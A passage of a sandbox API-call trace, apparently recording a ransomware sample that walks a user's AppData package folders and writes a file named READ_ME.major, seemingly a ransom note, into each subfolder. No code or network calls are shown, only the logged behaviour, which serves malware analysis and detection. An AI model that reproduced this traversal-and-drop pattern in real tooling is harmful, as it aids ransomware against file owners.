dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.111] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.112] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.113] CloseHandle (hObject=0x8cc) returned 1 [0188.113] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x267acaa2, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde95221, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x267acaa2, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.113] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.114] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.114] CloseHandle (hObject=0x8cc) returned 1 [0188.114] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2673a47b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde95a6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2673a47b, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.115] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.116] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.116] CloseHandle (hObject=0x8cc) returned 1 [0188.117] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2238854a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2238854a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2238854a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.117] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26786872, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcde95fc4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26786872, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.117] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.117] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.118] CloseHandle (hObject=0x8cc) returned 1 [0188.118] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x267acaa2, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.118] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.145] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.146] CloseHandle (hObject=0x8cc) returned 1 [0188.146] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26786872, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcdfaccf0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26786872, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.146] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0188.147] WriteFile (in: hFile=0x8cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.148] CloseHandle (hObject=0x8cc) returned 1 [0188.148] FindNextFileW (in: hFindFile=0x661670, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26786872, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xcdfaccf0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26786872, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.148] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6611f0 [0188.148] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.148] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf235e043, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34200da2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34200da2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.219] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.220] CloseHandle (hObject=0x8d0) returned 1 [0188.221] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2337e6d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce019fce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2337e6d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.221] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.222] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.223] CloseHandle (hObject=0x8d0) returned 1 [0188.223] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf229f4ae, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce01a68a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf229f4ae, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.223] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.224] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.225] CloseHandle (hObject=0x8d0) returned 1 [0188.225] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce01abc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.225] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.225] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.226] CloseHandle (hObject=0x8d0) returned 1 [0188.226] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223d4afc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x223d4afc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.226] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce01b236, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.226] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.228] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.228] CloseHandle (hObject=0x8d0) returned 1 [0188.228] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf229f4ae, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.229] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.263] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.264] CloseHandle (hObject=0x8d0) returned 1 [0188.264] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce14611e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0188.265] WriteFile (in: hFile=0x8d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.266] CloseHandle (hObject=0x8d0) returned 1 [0188.266] FindNextFileW (in: hFindFile=0x6611f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xce14611e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2252fd4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.266] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6612b0 [0188.266] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x223d4afc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.266] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd54657, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x343ca99c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x343ca99c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.266] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.269] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.269] CloseHandle (hObject=0x8d4) returned 1 [0188.270] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b173a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.270] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.271] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.271] CloseHandle (hObject=0x8d4) returned 1 [0188.271] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b1db6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.271] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0188.272] WriteFile (in: hFile=0x8d4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.273] CloseHandle (hObject=0x8d4) returned 1 [0188.273] FindNextFileW (in: hFindFile=0x6612b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce1b2577, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd08196, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.273] CreateFileW 